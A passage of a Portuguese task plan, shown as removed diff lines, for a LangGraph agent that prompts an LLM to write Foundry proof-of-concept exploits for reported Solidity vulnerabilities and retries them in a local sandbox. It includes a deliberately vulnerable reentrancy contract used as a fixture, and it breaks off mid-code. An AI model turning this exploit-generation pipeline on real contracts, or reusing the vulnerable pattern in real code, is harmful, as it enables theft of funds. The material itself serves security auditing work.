- ---
13
-
14
- ### TALP-1.1 — Inicializar o projeto TypeScript
15
-
16
- | Campo | Valor |
17
- |-------|-------|
18
- | **Tipo** | Setup |
19
- | **Prioridade** | Crítica |
20
- | **Estimativa** | 1h |
21
- | **Depende de** | — |
22
-
23
- **Descrição**
24
- Criar a estrutura base do projeto TypeScript com todas as dependências necessárias para rodar o agente LangGraph com Foundry.
25
-
26
- **Arquivos a criar**
27
- ```
28
- src/agents/poc-generator/ ← criar diretório
29
- tsconfig.json ← criar na raiz
30
- package.json ← atualizar
31
- ```
32
-
33
- **Setup**
34
- ```bash
35
- mkdir -p src/agents/poc-generator/tools
36
- mkdir -p src/agents/poc-generator/prompts
37
- mkdir -p src/agents/poc-generator/utils
38
- mkdir -p tests/e2e
39
- mkdir -p scripts
40
- mkdir -p data
41
-
42
- npm install @langchain/langgraph @langchain/openai zod
43
- npm install -D typescript ts-node @types/node
44
- ```
45
-
46
- `tsconfig.json`:
47
- ```json
48
- {
49
- "compilerOptions": {
50
- "target": "ES2022",
51
- "module": "Node16",
52
- "moduleResolution": "node16",
53
- "strict": true,
54
- "outDir": "dist",
55
- "rootDir": "src",
56
- "esModuleInterop": true
57
- }
58
- }
59
- ```
60
-
61
- **Critérios de aceitação**
62
- - [ ] `npx tsc --noEmit` roda sem erros em um arquivo vazio em `src/agents/poc-generator/agent.ts`
63
- - [ ] Todas as dependências aparecem no `package.json`
64
- - [ ] Estrutura de diretórios criada conforme acima
65
-
66
- **Como testar**
67
- ```bash
68
- npx tsc --noEmit # deve sair com código 0
69
- ls src/agents/poc-generator/tools/ # deve existir
70
- ```
71
-
72
- ---
73
-
74
- ### TALP-1.2 — Definir interfaces e estado do agente
75
-
76
- | Campo | Valor |
77
- |-------|-------|
78
- | **Tipo** | Implementação |
79
- | **Prioridade** | Crítica |
80
- | **Estimativa** | 2h |
81
- | **Depende de** | TALP-1.1 |
82
-
83
- **Descrição**
84
- Criar os tipos TypeScript que definem o contrato de dados do agente: o que entra (`VulnerabilityReport`), o que sai (`PoCResult`), e o estado interno do grafo LangGraph (`PoCStateAnnotation`).
85
-
86
- **Arquivos a criar**
87
- ```
88
- src/agents/poc-generator/types.ts ← interfaces de input/output
89
- src/agents/poc-generator/state.ts ← PoCStateAnnotation (LangGraph)
90
- ```
91
-
92
- **Implementação — `types.ts`**
93
- ```typescript
94
- export interface VulnerabilityReport {
95
- id: string;
96
- severity: "critical" | "high" | "medium" | "low";
97
- type: string;
98
- title: string;
99
- description: string;
100
- affectedContract: {
101
- name: string;
102
- sourceCode: string; // Solidity completo, preferencialmente flattened
103
- };
104
- attackVector: string;
105
- suggestedCheatcodes?: string[];
106
- }
107
-
108
- export interface OracleContext {
109
- solidityScaffold: string; // Exploit.t.sol parcial com setUp() pronto
110
- }
111
-
112
- export interface PoCResult {
113
- reportId: string;
114
- status: "success" | "failed" | "timeout";
115
- solidityCode: string;
116
- executionLogs: string[];
117
- iterations: number;
118
- }
119
- ```
120
-
121
- **Implementação — `state.ts`**
122
- ```typescript
123
- import { Annotation } from "@langchain/langgraph";
124
- import { VulnerabilityReport, OracleContext } from "./types";
125
-
126
- export const PoCStateAnnotation = Annotation.Root({
127
- report: Annotation<VulnerabilityReport>(),
128
-
129
- oracleContext: Annotation<OracleContext | null>({
130
- default: () => null,
131
- reducer: (_, y) => y, // overwrite — preenchido 1x pelo oracleNode
132
- }),
133
-
134
- pocCode: Annotation<string>({
135
- default: () => "",
136
- reducer: (_, y) => y, // overwrite — sempre a versão mais recente
137
- }),
138
-
139
- executionLogs: Annotation<string[]>({
140
- default: () => [],
141
- reducer: (x, y) => x.concat(y), // append — nunca perde logs anteriores
142
- }),
143
-
144
- lastError: Annotation<string | null>({
145
- default: () => null,
146
- reducer: (_, y) => y, // overwrite — última análise de erro
147
- }),
148
-
149
- iterations: Annotation<number>({
150
- default: () => 0,
151
- reducer: (x, y) => x + y, // aditivo — incrementado em +1 por chamada
152
- }),
153
-
154
- status: Annotation<"running" | "success" | "failed" | "timeout">({
155
- default: () => "running",
156
- reducer: (_, y) => y, // overwrite
157
- }),
158
- });
159
-
160
- export type PoCState = typeof PoCStateAnnotation.State;
161
- ```
162
-
163
- **Critérios de aceitação**
164
- - [ ] `npx tsc --noEmit` passa sem erros
165
- - [ ] `iterations` usa reducer aditivo (não overwrite)
166
- - [ ] `executionLogs` usa reducer de append (nunca trunca histórico)
167
- - [ ] `oracleContext` usa overwrite mas default é `null`
168
- - [ ] Todos os campos têm `default` e `reducer` definidos
169
-
170
- **Como testar**
171
- ```bash
172
- npx tsc --noEmit
173
- ```
174
- Criar arquivo de teste manual `tests/state.test.ts`:
175
- ```typescript
176
- import { PoCStateAnnotation } from "../src/agents/poc-generator/state";
177
- const s = PoCStateAnnotation.spec;
178
- console.assert(s.iterations !== undefined, "iterations deve existir");
179
- console.log("Estado OK");
180
- ```
181
-
182
- ---
183
-
184
- ### TALP-1.3 — Criar nodes stub e grafo linear
185
-
186
- | Campo | Valor |
187
- |-------|-------|
188
- | **Tipo** | Implementação |
189
- | **Prioridade** | Crítica |
190
- | **Estimativa** | 2h |
191
- | **Depende de** | TALP-1.2 |
192
-
193
- **Descrição**
194
- Criar o grafo LangGraph com quatro nodes stub (sem lógica real ainda) conectados linearmente. Objetivo: validar que o grafo compila, executa e passa o estado corretamente entre os nodes.
195
-
196
- **Arquivos a criar/modificar**
197
- ```
198
- src/agents/poc-generator/agent.ts ← criar
199
- ```
200
-
201
- **Implementação**
202
- ```typescript
203
- import { StateGraph, END, START } from "@langchain/langgraph";
204
- import { PoCStateAnnotation, PoCState } from "./state";
205
-
206
- async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
207
- console.log("[oracleNode] stub — report recebido:", state.report.id);
208
- return {};
209
- }
210
-
211
- async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
212
- console.log("[generatePoCNode] stub — iteração:", state.iterations);
213
- return { iterations: 1 };
214
- }
215
-
216
- async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
217
- console.log("[runFoundryNode] stub");
218
- return { status: "success" };
219
- }
220
-
221
- async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
222
- console.log("[reflectNode] stub");
223
- return {};
224
- }
225
-
226
- const graph = new StateGraph(PoCStateAnnotation)
227
- .addNode("oracleNode", oracleNode)
228
- .addNode("generatePoCNode", generatePoCNode)
229
- .addNode("runFoundryNode", runFoundryNode)
230
- .addNode("reflectNode", reflectNode)
231
- .addEdge(START, "oracleNode")
232
- .addEdge("oracleNode", "generatePoCNode")
233
- .addEdge("generatePoCNode", "runFoundryNode")
234
- .addEdge("runFoundryNode", END);
235
-
236
- export const pocGeneratorAgent = graph.compile();
237
- ```
238
-
239
- **Critérios de aceitação**
240
- - [ ] `pocGeneratorAgent.invoke({ report: mockReport })` executa sem erros
241
- - [ ] Console exibe os 4 nomes de nodes em ordem correta
242
- - [ ] Estado final tem `status: "success"` e `iterations: 1`
243
- - [ ] `npx tsc --noEmit` passa
244
-
245
- **Como testar**
246
- ```typescript
247
- // tests/stub-run.ts
248
- import { pocGeneratorAgent } from "../src/agents/poc-generator/agent";
249
- const mockReport = {
250
- id: "test-stub", severity: "high" as const, type: "reentrancy",
251
- title: "Test", description: "Test", attackVector: "Test",
252
- affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
253
- };
254
- const result = await pocGeneratorAgent.invoke({ report: mockReport });
255
- console.assert(result.status === "success", "status deve ser success");
256
- console.assert(result.iterations === 1, "iterations deve ser 1");
257
- console.log("Grafo stub OK:", result.status);
258
- ```
259
- ```bash
260
- npx ts-node tests/stub-run.ts
261
- ```
262
-
263
- ---
264
-
265
- ### TALP-1.4 — Implementar `scaffoldGenerator`
266
-
267
- | Campo | Valor |
268
- |-------|-------|
269
- | **Tipo** | Implementação |
270
- | **Prioridade** | Crítica |
271
- | **Estimativa** | 3h |
272
- | **Depende de** | TALP-1.2 |
273
-
274
- **Descrição**
275
- Implementar a função que gera o scaffold Solidity com `setUp()` pronto. O LLM receberá este arquivo parcial e precisará completar apenas a função `test_Exploit()`. Isso elimina o erro mais comum do PoCo: o LLM instanciar o contrato vítima de forma incorreta.
276
-
277
- **Arquivos a criar**
278
- ```
279
- src/agents/poc-generator/tools/scaffoldGenerator.ts
280
- ```
281
-
282
- **Implementação**
283
- ```typescript
284
- import { VulnerabilityReport } from "../types";
285
-
286
- export function generateLocalScaffold(report: VulnerabilityReport): string {
287
- const cheatcodes = report.suggestedCheatcodes?.join(", ") ?? "vm.deal, vm.prank, vm.warp";
288
-
289
- return `// SPDX-License-Identifier: UNLICENSED
290
- pragma solidity ^0.8.20;
291
-
292
- import "forge-std/Test.sol";
293
- import "forge-std/console.sol";
294
-
295
- // ── Código-fonte do contrato vulnerável ──────────────────────────────────────
296
- ${report.affectedContract.sourceCode}
297
- // ─────────────────────────────────────────────────────────────────────────────
298
-
299
- contract ExploitTest is Test {
300
- ${report.affectedContract.name} target;
301
- address constant ATTACKER = address(0xBEEF);
302
-
303
- // setUp() gerado automaticamente pelo Oracle — NÃO MODIFICAR
304
- function setUp() public {
305
- target = new ${report.affectedContract.name}();
306
- vm.deal(address(target), 100 ether);
307
- vm.deal(ATTACKER, 10 ether);
308
- vm.label(address(target), "TARGET");
309
- vm.label(ATTACKER, "ATTACKER");
310
- }
311
-
312
- // Vulnerabilidade: ${report.title}
313
- // Tipo: ${report.type}
314
- // Vetor: ${report.attackVector}
315
- // Cheatcodes sugeridos: ${cheatcodes}
316
- //
317
- // COMPLETE APENAS ESTA FUNÇÃO — não altere setUp() nem os campos acima
318
- function test_Exploit() public {
319
- vm.startPrank(ATTACKER);
320
- // TODO: implementar exploit aqui
321
- vm.stopPrank();
322
- }
323
- }`.trim();
324
- }
325
- ```
326
-
327
- **Critérios de aceitação**
328
- - [ ] Output é Solidity sintaticamente válido (passa `forge build`)
329
- - [ ] `setUp()` inclui `vm.deal` para target (100 ETH) e ATTACKER (10 ETH)
330
- - [ ] Comentários indicam claramente o que o LLM deve completar
331
- - [ ] `suggestedCheatcodes` aparece no scaffold quando presentes no report
332
- - [ ] Contrato vítima é incluído inline (sem imports externos)
333
-
334
- **Como testar**
335
- ```bash
336
- # 1. Gerar o scaffold manualmente
337
- npx ts-node -e "
338
- import { generateLocalScaffold } from './src/agents/poc-generator/tools/scaffoldGenerator';
339
- const scaffold = generateLocalScaffold({
340
- id:'t1', severity:'high', type:'reentrancy', title:'Reentrancy em withdraw()',
341
- description:'...', attackVector:'callback malicioso',
342
- affectedContract: { name: 'VulnerableBank', sourceCode: \`
343
- pragma solidity ^0.8.20;
344
- contract VulnerableBank {
345
- mapping(address=>uint) public balances;
346
- function deposit() external payable { balances[msg.sender] += msg.value; }
347
- function withdraw() external {
348
- uint a = balances[msg.sender];
349
- (bool ok,) = msg.sender.call{value:a}('');
350
- require(ok); balances[msg.sender] = 0;
351
- }
352
- }\`}
353
- });
354
- console.log(scaffold);
355
- " > /tmp/poc-sandbox/test/Exploit.t.sol
356
-
357
- # 2. Verificar compilação
358
- cd /tmp/poc-sandbox && forge build
359
- ```
360
-
361
- ---
362
-
363
- ### TALP-1.5 — Implementar `oracleNode`
364
-
365
- | Campo | Valor |
366
- |-------|-------|
367
- | **Tipo** | Implementação |
368
- | **Prioridade** | Crítica |
369
- | **Estimativa** | 1h |
370
- | **Depende de** | TALP-1.3, TALP-1.4 |
371
-
372
- **Descrição**
373
- Substituir o stub do `oracleNode` pela implementação real que chama o `scaffoldGenerator` e persiste o resultado no estado.
374
-
375
- **Arquivos a modificar**
376
- ```
377
- src/agents/poc-generator/agent.ts ← substituir stub do oracleNode
378
- ```
379
-
380
- **Implementação**
381
- ```typescript
382
- import { generateLocalScaffold } from "./tools/scaffoldGenerator";
383
-
384
- async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
385
- console.log("[oracleNode] gerando scaffold para:", state.report.title);
386
-
387
- const solidityScaffold = generateLocalScaffold(state.report);
388
- const oracleContext: OracleContext = { solidityScaffold };
389
-
390
- console.log("[oracleNode] scaffold gerado, tamanho:", solidityScaffold.length, "chars");
391
- return { oracleContext };
392
- }
393
- ```
394
-
395
- **Critérios de aceitação**
396
- - [ ] `oracleContext` não é mais `null` após a execução do node
397
- - [ ] Scaffold gerado passa `forge build` sem erros de compilação
398
- - [ ] Não há chamadas de rede, RPC ou I/O externo neste node
399
- - [ ] Log mostra o título do report e o tamanho do scaffold
400
-
401
- **Gate da Semana 1:** Rodar o grafo stub com um `VulnerabilityReport` fake e verificar que `oracleContext.solidityScaffold` compila com `forge build`.
402
-
403
- ```bash
404
- # Teste do gate
405
- npx ts-node tests/stub-run.ts
406
- # Copiar o scaffold para o sandbox e compilar
407
- cd /tmp/poc-sandbox && forge build
408
- ```
409
-
410
- ---
411
-
412
- ## SEMANA 2 — LLM + Foundry + Loop ReAct
413
-
414
- ---
415
-
416
- ### TALP-2.1 — Criar o system prompt
417
-
418
- | Campo | Valor |
419
- |-------|-------|
420
- | **Tipo** | Implementação |
421
- | **Prioridade** | Alta |
422
- | **Estimativa** | 2h |
423
- | **Depende de** | TALP-1.4 |
424
-
425
- **Descrição**
426
- Criar o system prompt que instrui o LLM a agir como pesquisador de segurança Solidity. O prompt precisa garantir: (1) output é apenas Solidity em bloco, (2) o LLM não reescreve o `setUp()`, (3) toda linha não-óbvia tem comentário.
427
-
428
- **Arquivos a criar**
429
- ```
430
- src/agents/poc-generator/prompts/system.ts
431
- ```
432
-
433
- **Implementação**
434
- ```typescript
435
- export const SYSTEM_PROMPT = `Você é um Pesquisador de Segurança Solidity especializado em escrever exploits Proof of Concept (PoC) para Foundry.
436
-
437
- ## TAREFA
438
- Você receberá:
439
- 1. Um relatório de vulnerabilidade descrevendo uma falha de segurança em Solidity.
440
- 2. Um scaffold Foundry parcialmente completo com setUp() já implementado.
441
-
442
- Sua missão: completar APENAS a função test_Exploit() — e, se necessário, adicionar contratos auxiliares (ex: atacante com fallback()) ANTES do contrato ExploitTest.
443
-
444
- ## RESTRIÇÕES ABSOLUTAS
445
- - NÃO modifique setUp(), imports, constants ou qualquer campo marcado com "NÃO MODIFICAR".
446
- - NÃO adicione novos imports além dos já presentes.
447
- - Output APENAS um bloco \`\`\`solidity ... \`\`\` com o arquivo completo. Sem texto fora do bloco.
448
-
449
- ## REGRAS DE QUALIDADE
450
- - Use cheatcodes Foundry quando necessário: vm.warp(), vm.roll(), vm.prank(), vm.deal(), vm.expectRevert().
451
- - A assertion final DEVE usar assertTrue(), assertGt() ou assertEq() para provar que o exploit teve sucesso.
452
- - Cada linha não-óbvia DEVE ter um comentário inline explicando por que existe.
453
- - Se precisar de flash loan, implemente o callback do provider já configurado no setUp().
454
- - Se não conseguir completar o exploit, implemente o máximo possível e adicione comentários // TODO: explicando o que falta.
455
-
456
- ## FORMATO DE OUTPUT
457
- \`\`\`solidity
458
- // arquivo completo aqui
459
- \`\`\`
460
- `.trim();
461
- ```
462
-
463
- **Critérios de aceitação**
464
- - [ ] LLM sempre produz um bloco ` ```solidity``` ` no output (validar em ≥5 chamadas manuais)
465
- - [ ] LLM nunca reescreve `setUp()` (testar com prompt de retry)
466
- - [ ] LLM sempre inclui pelo menos uma assertion no `test_Exploit()`
467
- - [ ] Prompt cabe em menos de 500 tokens (verificar com `tiktoken`)
468
-
469
- **Como testar**
470
- ```typescript
471
- // Teste manual: chamar o LLM diretamente com o system prompt
472
- import { ChatOpenAI } from "@langchain/openai";
473
- import { SYSTEM_PROMPT } from "./src/agents/poc-generator/prompts/system";
474
- const llm = new ChatOpenAI({ modelName: "gpt-4o", openAIApiKey: process.env.OPENROUTER_API_KEY });
475
- const resp = await llm.invoke([
476
- { role: "system", content: SYSTEM_PROMPT },
477
- { role: "user", content: "Scaffold: ...\nVulnerabilidade: reentrancy simples" }
478
- ]);
479
- console.log(resp.content);
480
- // Verificar manualmente: contém ```solidity```? Não modificou setUp()?
481
- ```
482
-
483
- ---
484
-
485
- ### TALP-2.2 — Implementar `extractSolidity`
486
-
487
- | Campo | Valor |
488
- |-------|-------|
489
- | **Tipo** | Implementação |
490
- | **Prioridade** | Alta |
491
- | **Estimativa** | 1h |
492
- | **Depende de** | TALP-2.1 |
493
-
494
- **Descrição**
495
- Parser robusto que extrai o bloco Solidity do output do LLM, com fallbacks para casos onde o modelo omite os backticks.
496
-
497
- **Arquivos a criar**
498
- ```
499
- src/agents/poc-generator/utils/extractSolidity.ts
500
- ```
501
-
502
- **Implementação**
503
- ```typescript
504
- export function extractSolidity(llmOutput: string): string {
505
- // Caso 1: bloco ```solidity ... ``` padrão
506
- const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
507
- if (match) return match[1].trim();
508
-
509
- // Caso 2: LLM omitiu backticks mas começa com pragma/SPDX
510
- const trimmed = llmOutput.trim();
511
- if (trimmed.startsWith("// SPDX") || trimmed.startsWith("pragma")) {
512
- return trimmed;
513
- }
514
-
515
- // Caso 3: output inválido — lançar erro descritivo
516
- throw new Error(
517
- `LLM output não contém bloco Solidity válido. Preview: "${llmOutput.slice(0, 200)}"`
518
- );
519
- }
520
- ```
521
-
522
- **Critérios de aceitação**
523
- - [ ] Extrai corretamente de bloco ` ```solidity``` ` padrão
524
- - [ ] Usa fallback quando LLM omite backticks mas começa com `pragma` ou `// SPDX`
525
- - [ ] Lança `Error` descritivo quando output é texto puro sem Solidity
526
- - [ ] Resultado nunca contém os backticks do bloco
527
-
528
- **Como testar**
529
- ```typescript
530
- // tests/unit/extractSolidity.test.ts
531
- import { extractSolidity } from "../../src/agents/poc-generator/utils/extractSolidity";
532
-
533
- // Caso 1: bloco padrão
534
- const r1 = extractSolidity("Aqui está:\n```solidity\npragma solidity ^0.8.0;\n```");
535
- console.assert(r1 === "pragma solidity ^0.8.0;", "Caso 1 falhou");
536
-
537
- // Caso 2: sem backticks
538
- const r2 = extractSolidity("pragma solidity ^0.8.0;\ncontract A {}");
539
- console.assert(r2.startsWith("pragma"), "Caso 2 falhou");
540
-
541
- // Caso 3: inválido — deve lançar
542
- try {
543
- extractSolidity("Desculpe, não consigo gerar isso.");
544
- console.error("Caso 3 deveria ter lançado erro!");
545
- } catch (e) {
546
- console.log("Caso 3 OK — erro lançado:", (e as Error).message.slice(0, 50));
547
- }
548
-
549
- console.log("Todos os testes de extractSolidity passaram");
550
- ```
551
-
552
- ---
553
-
554
- ### TALP-2.3 — Implementar `generatePoCNode`
555
-
556
- | Campo | Valor |
557
- |-------|-------|
558
- | **Tipo** | Implementação |
559
- | **Prioridade** | Crítica |
560
- | **Estimativa** | 3h |
561
- | **Depende de** | TALP-2.1, TALP-2.2 |
562
-
563
- **Descrição**
564
- Substituir o stub por um node real que chama o LLM. O prompt do usuário muda dependendo se é a primeira tentativa (passa o scaffold) ou um retry (passa o código com erro anterior).
565
-
566
- **Arquivos a modificar**
567
- ```
568
- src/agents/poc-generator/agent.ts ← substituir stub do generatePoCNode
569
- ```
570
-
571
- **Implementação**
572
- ```typescript
573
- import { ChatOpenAI } from "@langchain/openai";
574
- import { SYSTEM_PROMPT } from "./prompts/system";
575
- import { extractSolidity } from "./utils/extractSolidity";
576
-
577
- const llm = new ChatOpenAI({
578
- modelName: "gpt-4o",
579
- temperature: 0.2,
580
- openAIApiKey: process.env.OPENROUTER_API_KEY,
581
- configuration: { baseURL: "https://openrouter.ai/api/v1" },
582
- });
583
-
584
- async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
585
- const { report, oracleContext, executionLogs, pocCode, iterations, lastError } = state;
586
- const isRetry = iterations > 0;
587
-
588
- const userMessage = isRetry
589
- ? `O seguinte exploit FALHOU no Foundry.
590
-
591
- Código anterior:
592
- \`\`\`solidity
593
- ${pocCode}
594
- \`\`\`
595
-
596
- Output do Forge (última execução):
597
- ${executionLogs[executionLogs.length - 1]?.slice(0, 3000) ?? "sem logs"}
598
-
599
- Análise do erro: ${lastError ?? "desconhecido"}
600
-
601
- Corrija o código. Retorne o arquivo Solidity completo corrigido.`
602
- : `Relatório de Vulnerabilidade:
603
- - Título: ${report.title}
604
- - Tipo: ${report.type}
605
- - Descrição: ${report.description}
606
- - Vetor de Ataque: ${report.attackVector}
607
-
608
- Scaffold (complete APENAS test_Exploit):
609
- \`\`\`solidity
610
- ${oracleContext!.solidityScaffold}
611
- \`\`\``;
612
-
613
- console.log(`[generatePoCNode] iteração ${iterations + 1}, isRetry=${isRetry}`);
614
-
615
- try {
616
- const response = await llm.invoke([
617
- { role: "system", content: SYSTEM_PROMPT },
618
- { role: "user", content: userMessage },
619
- ]);
620
- const solidityCode = extractSolidity(response.content as string);
621
- console.log("[generatePoCNode] Solidity extraído, tamanho:", solidityCode.length);
622
- return { pocCode: solidityCode, iterations: 1 };
623
- } catch (err) {
624
- console.error("[generatePoCNode] falha na extração:", (err as Error).message);
625
- return { iterations: 1, lastError: `Falha ao extrair Solidity: ${(err as Error).message}` };
626
- }
627
- }
628
- ```
629
-
630
- **Critérios de aceitação**
631
- - [ ] Na primeira iteração: passa scaffold completo + descrição da vulnerabilidade
632
- - [ ] No retry: passa código anterior + logs do forge + análise do erro
633
- - [ ] `iterations` incrementa em +1 a cada chamada (via reducer aditivo)
634
- - [ ] Erro de extração não trava o grafo — registra `lastError` e continua
635
- - [ ] Logs do forge são truncados a 3000 chars (evitar ultrapassar context window)
636
-
637
- ---
638
-
639
- ### TALP-2.4 — Setup do sandbox Foundry
640
-
641
- | Campo | Valor |
642
- |-------|-------|
643
- | **Tipo** | Setup/Infra |
644
- | **Prioridade** | Crítica |
645
- | **Estimativa** | 1h |
646
- | **Depende de** | TALP-1.1 |
647
-
648
- **Descrição**
649
- Criar script de inicialização do sandbox Foundry local em `/tmp/poc-sandbox/`. O agente escreve o arquivo `Exploit.t.sol` aqui e executa `forge test`.
650
-
651
- **Arquivos a criar**
652
- ```
653
- scripts/setup-sandbox.sh
654
- foundry.toml ← copiado para o sandbox
655
- ```
656
-
657
- **Implementação — `setup-sandbox.sh`**
658
- ```bash
659
- #!/bin/bash
660
- set -e
661
-
662
- SANDBOX="/tmp/poc-sandbox"
663
-
664
- echo "Inicializando sandbox Foundry em $SANDBOX..."
665
- rm -rf "$SANDBOX"
666
- mkdir -p "$SANDBOX"
667
- cd "$SANDBOX"
668
-
669
- forge init --no-git --quiet
670
- forge install foundry-rs/forge-std --no-git --quiet
671
-
672
- cat > foundry.toml << 'EOF'
673
- [profile.default]
674
- src = "src"
675
- test = "test"
676
- out = "out"
677
- libs = ["lib"]
678
- solc-version = "0.8.20"
679
- EOF
680
-
681
- # Remover o contrato e teste de exemplo do forge init
682
- rm -f src/Counter.sol test/Counter.t.sol
683
-
684
- echo "Sandbox pronto. Testando com forge build..."
685
- forge build
686
- echo "OK — sandbox funcionando em $SANDBOX"
687
- ```
688
-
689
- **Critérios de aceitação**
690
- - [ ] Script roda sem erros em máquina com Foundry instalado (`forge --version`)
691
- - [ ] `forge build` dentro de `/tmp/poc-sandbox` tem sucesso após o script
692
- - [ ] Diretório `test/` existe e está vazio (pronto para receber `Exploit.t.sol`)
693
- - [ ] `forge-std` instalado corretamente (import `"forge-std/Test.sol"` funciona)
694
-
695
- **Como testar**
696
- ```bash
697
- chmod +x scripts/setup-sandbox.sh
698
- ./scripts/setup-sandbox.sh
699
- echo "// SPDX-License-Identifier: UNLICENSED
700
- pragma solidity ^0.8.20;
701
- import 'forge-std/Test.sol';
702
- contract SmokeTest is Test {
703
- function test_ok() public { assertTrue(true); }
704
- }" > /tmp/poc-sandbox/test/Smoke.t.sol
705
- cd /tmp/poc-sandbox && forge test
706
- ```
707
-
708
- ---
709
-
710
- ### TALP-2.5 — Implementar `foundryRunner`
711
-
712
- | Campo | Valor |
713
- |-------|-------|
714
- | **Tipo** | Implementação |
715
- | **Prioridade** | Crítica |
716
- | **Estimativa** | 2h |
717
- | **Depende de** | TALP-2.4 |
718
-
719
- **Descrição**
720
- Módulo que escreve o código Solidity no sandbox, executa `forge test` via `child_process` e retorna o resultado estruturado. Nunca lança erro — sempre retorna `FoundryResult`.
721
-
722
- **Arquivos a criar**
723
- ```
724
- src/agents/poc-generator/tools/foundryRunner.ts
725
- ```
726
-
727
- **Implementação**
728
- ```typescript
729
- import { exec } from "child_process";
730
- import { promisify } from "util";
731
- import { writeFile } from "fs/promises";
732
-
733
- const execAsync = promisify(exec);
734
- const SANDBOX = "/tmp/poc-sandbox";
735
- const TIMEOUT_MS = 60_000;
736
-
737
- export interface FoundryResult {
738
- exitCode: number;
739
- stdout: string;
740
- stderr: string;
741
- combined: string;
742
- timedOut: boolean;
743
- }
744
-
745
- export async function runFoundry(solidityCode: string): Promise<FoundryResult> {
746
- // Escrever o arquivo no sandbox
747
- await writeFile(`${SANDBOX}/test/Exploit.t.sol`, solidityCode, "utf-8");
748
-
749
- try {
750
- const { stdout, stderr } = await execAsync(
751
- "forge test --match-contract ExploitTest -vvvv",
752
- { cwd: SANDBOX, timeout: TIMEOUT_MS, env: { ...process.env } }
753
- );
754
- return {
755
- exitCode: 0,
756
- stdout,
757
- stderr,
758
- combined: `STDOUT:\n${stdout}\nSTDERR:\n${stderr}`,
759
- timedOut: false,
760
- };
761
- } catch (err: any) {
762
- if (err.killed || err.signal === "SIGTERM") {
763
- return {
764
- exitCode: -1, stdout: "", stderr: "Forge timed out",
765
- combined: `TIMEOUT após ${TIMEOUT_MS / 1000}s`,
766
- timedOut: true,
767
- };
768
- }
769
- return {
770
- exitCode: err.code ?? 1,
771
- stdout: err.stdout ?? "",
772
- stderr: err.stderr ?? "",
773
- combined: `STDOUT:\n${err.stdout ?? ""}\nSTDERR:\n${err.stderr ?? ""}`,
774
- timedOut: false,
775
- };
776
- }
777
- }
778
- ```
779
-
780
- **Critérios de aceitação**
781
- - [ ] Detecta test pass: `exitCode === 0` + stdout contém `"ok"`
782
- - [ ] Detecta compiler error: `exitCode !== 0` + stderr contém `"Compiler run failed"`
783
- - [ ] Detecta timeout: `timedOut === true`, processo morto após 60s
784
- - [ ] Nunca lança exceção — sempre retorna `FoundryResult`
785
- - [ ] `combined` contém stdout e stderr separados por label
786
-
787
- **Como testar**
788
- ```typescript
789
- // tests/unit/foundryRunner.test.ts
790
- import { runFoundry } from "../../src/agents/poc-generator/tools/foundryRunner";
791
-
792
- // Caso 1: código válido que passa
793
- const validCode = `// SPDX-License-Identifier: UNLICENSED
794
- pragma solidity ^0.8.20;
795
- import "forge-std/Test.sol";
796
- contract ExploitTest is Test {
797
- function setUp() public {}
798
- function test_Exploit() public { assertTrue(true); }
799
- }`;
800
- const r1 = await runFoundry(validCode);
801
- console.assert(r1.exitCode === 0, "Deveria passar");
802
- console.assert(r1.stdout.includes("ok"), "Deveria ter 'ok' no stdout");
803
-
804
- // Caso 2: código com erro de compilação
805
- const invalidCode = `pragma solidity ^0.8.20; contract Bad { function foo( }`;
806
- const r2 = await runFoundry(invalidCode);
807
- console.assert(r2.exitCode !== 0, "Deveria falhar");
808
- console.assert(r2.stderr.includes("Error") || r2.combined.includes("Error"), "Deveria ter erro");
809
-
810
- console.log("foundryRunner OK");
811
- ```
812
-
813
- ---
814
-
815
- ### TALP-2.6 — Implementar `logAnalyzer`
816
-
817
- | Campo | Valor |
818
- |-------|-------|
819
- | **Tipo** | Implementação |
820
- | **Prioridade** | Alta |
821
- | **Estimativa** | 2h |
822
- | **Depende de** | TALP-2.5 |
823
-
824
- **Descrição**
825
- Módulo que lê o output bruto do `forge test` e produz um resumo legível em linguagem natural para o LLM. Classifica o erro em uma de 5 categorias.
826
-
827
- **Arquivos a criar**
828
- ```
829
- src/agents/poc-generator/utils/logAnalyzer.ts
830
- ```
831
-
832
- **Implementação**
833
- ```typescript
834
- import { FoundryResult } from "../tools/foundryRunner";
835
-
836
- export type ErrorCategory =
837
- | "compiler_error"
838
- | "revert_no_message"
839
- | "revert_with_message"
840
- | "assertion_failed"
841
- | "timeout"
842
- | "unknown";
843
-
844
- export interface LogAnalysis {
845
- category: ErrorCategory;
846
- summary: string; // 1-2 frases em linguagem natural para o LLM
847
- relevantLines: string[]; // máx 10 linhas do log original
848
- }
849
-
850
- export function analyzeFoundryLog(result: FoundryResult): LogAnalysis {
851
- if (result.timedOut) return {
852
- category: "timeout",
853
- summary: "Forge excedeu 60s. O exploit pode ter entrado em loop infinito ou a lógica está bloqueante.",
854
- relevantLines: [],
855
- };
856
-
857
- if (result.combined.includes("Compiler run failed")) {
858
- const lines = result.combined.split("\n")
859
- .filter(l => l.includes("Error") || l.includes("error") || l.includes("-->"))
860
- .slice(0, 10);
861
- return {
862
- category: "compiler_error",
863
- summary: "Erro de compilação Solidity. Verifique: interfaces faltando, assinaturas incorretas, tipos incompatíveis.",
864
- relevantLines: lines,
865
- };
866
- }
867
-
868
- if (result.combined.includes("FAIL")) {
869
- const revertReason = result.combined.match(/revert: (.+)/)?.[1];
870
- const assertionFail = result.combined.includes("Assertion Failed") || result.combined.includes("assertion failed");
871
-
872
- if (assertionFail) return {
873
- category: "assertion_failed",
874
- summary: "O exploit executou mas a assertion final falhou — o atacante não obteve o resultado esperado.",
875
- relevantLines: result.combined.split("\n")
876
- .filter(l => l.includes("assertion") || l.includes("FAIL")).slice(0, 10),
877
- };
878
-
879
- if (revertReason) return {
880
- category: "revert_with_message",
881
- summary: `Transação reverteu com: "${revertReason}". O contrato rejeitou a operação.`,
882
- relevantLines: [revertReason],
883
- };
884
-
885
- return {
886
- category: "revert_no_message",
887
- summary: "Transação reverteu sem mensagem. Verifique a ordem das chamadas, permissões e estado do contrato.",
888
- relevantLines: result.combined.split("\n")
889
- .filter(l => l.includes("revert") || l.includes("FAIL")).slice(0, 5),
890
- };
891
- }
892
-
893
- return {
894
